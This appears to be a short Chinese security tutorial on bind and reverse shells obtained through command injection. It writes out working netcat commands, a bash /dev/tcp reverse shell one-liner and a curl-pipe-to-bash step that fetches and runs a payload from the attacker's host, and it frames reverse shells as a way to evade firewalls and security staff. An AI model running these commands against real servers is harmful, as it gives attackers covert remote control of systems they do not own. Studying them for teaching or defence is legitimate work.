当前位置: 首页 > news >正文

反弹shell再入门

通过命令注入的时候,有时候会遇到服务器虽然执行了命令,但是没有回显,于是聪明的黑客就想到了执行一个命令,让服务器启动一个shell,黑客连接这个shell,相当于开了一个后门,这是正向shell。但是势必造成服务器一个端口一直open状态,容易被安全运维人员注意到,因此有了反弹shell到做法。反弹shell,就是让服务器主动连接黑客的IP,具有很好的隐蔽性。[1]

ailx10

网络安全优秀回答者

互联网行业 安全攻防员

去咨询

正向shell非常简单,针对无回显的场景,黑客先在web服务的站点内输入命令nc -lvvp 6666 -e /bin/bash(kali主机),然后找一台机子,去连接web服务器的6666端口 nc 192.168.0.100 6666 (苹果电脑),接下来就能回显一切shell返回信息啦,但是web服务器莫名其妙开了6666端口,很容易遭受安全运维的怀疑~

聪明的黑客想到了反弹shell,让web服务器主动去找黑客的IP,这样防火墙就很难怀疑了。黑客先在自己的电脑上输入nc -l 8888 (苹果电脑) ,然后再去web服务器的网站上输入nc -e /bin/bash 192.168.0.101 8888(kali主机),一样成功的拿到web服务器的shell控制权,并且流量侧还不易察觉~

反弹shell的姿势远不止此,大家常见的有bash的,以及各种变形

bash -c "bash -i >& /dev/tcp/192.168.0.101/8888 0>&1"

还有更加巧妙的将载核(bash -i >& /dev/tcp/192.168.0.101/8888 0>&1)写在一台机器上的index.html中,然后在web服务器的网站中输入curl 192.168.0.101:7777|bash (kali主机),就能实现上面的反弹shell的效果~

http://www.xdnf.cn/news/405721.html

相关文章:

  • MySQL查询优化100条军规
  • 深度解析RagFlow:本地大模型驱动的高效知识库应用搭建指南
  • Java MVC
  • nRF5_SDK_17.1.0_ddde560之ble_app_uart_c 出错
  • [Java实战]Spring Boot 整合 Session 共享(十七)
  • LintCode第42题-最大子数组 II
  • 《Vuejs设计与实现》第 5 章(非原始值响应式方案) 中
  • OpenCV 的 CUDA 模块中用于将一个多通道 GpuMat 图像拆分成多个单通道图像的函数split()
  • 【AI News | 20250512】每日AI进展
  • 一键生成达梦、Oracle、MySQL 数据库 ER 图!解锁高效数据库设计!
  • 【LeetCode】49.字母异位词分组
  • 典籍知识问答重新生成和消息修改Bug修改
  • 从零搭建AI工作站:Gemma3大模型本地部署+WebUI配置全套方案
  • sqlmap使用入门
  • Linux 系统中设置开机启动脚本
  • AAAI-2025 | 中科院无人机导航新突破!FELA:基于细粒度对齐的无人机视觉对话导航
  • 【JAVA】业务系统订单号,流水号生成规则工具类
  • python练习-20250512
  • C++23 views::slide (P2442R1) 深入解析
  • AnaTraf:深度解析网络性能分析(NPM)
  • C语言:深入理解指针(3)
  • 基于 Nexus 在 Dockerfile 配置 yum, conda, pip 仓库的方法和参考
  • T2000云腾边缘计算盒子在数猪场景中的应用|YOLOv8+NodeRED
  • 湖北理元理律师事务所:企业债务危机的“止血”与“造血”平衡术
  • 01背包和完全背包
  • 基于Qt6 + MuPDF在 Arm IMX6ULL运行的PDF浏览器——MuPDF Tools
  • 大项目k8s集群有多大规模,多少节点,有多少pod
  • 智能指针入门:深入理解 C++ 的 shared_ptr
  • AI中的MCP是什么?MCP的作用及未来方向预测 (使用go-zero 快速搭建MCP服务器)
  • 2025年北京市积分落户申报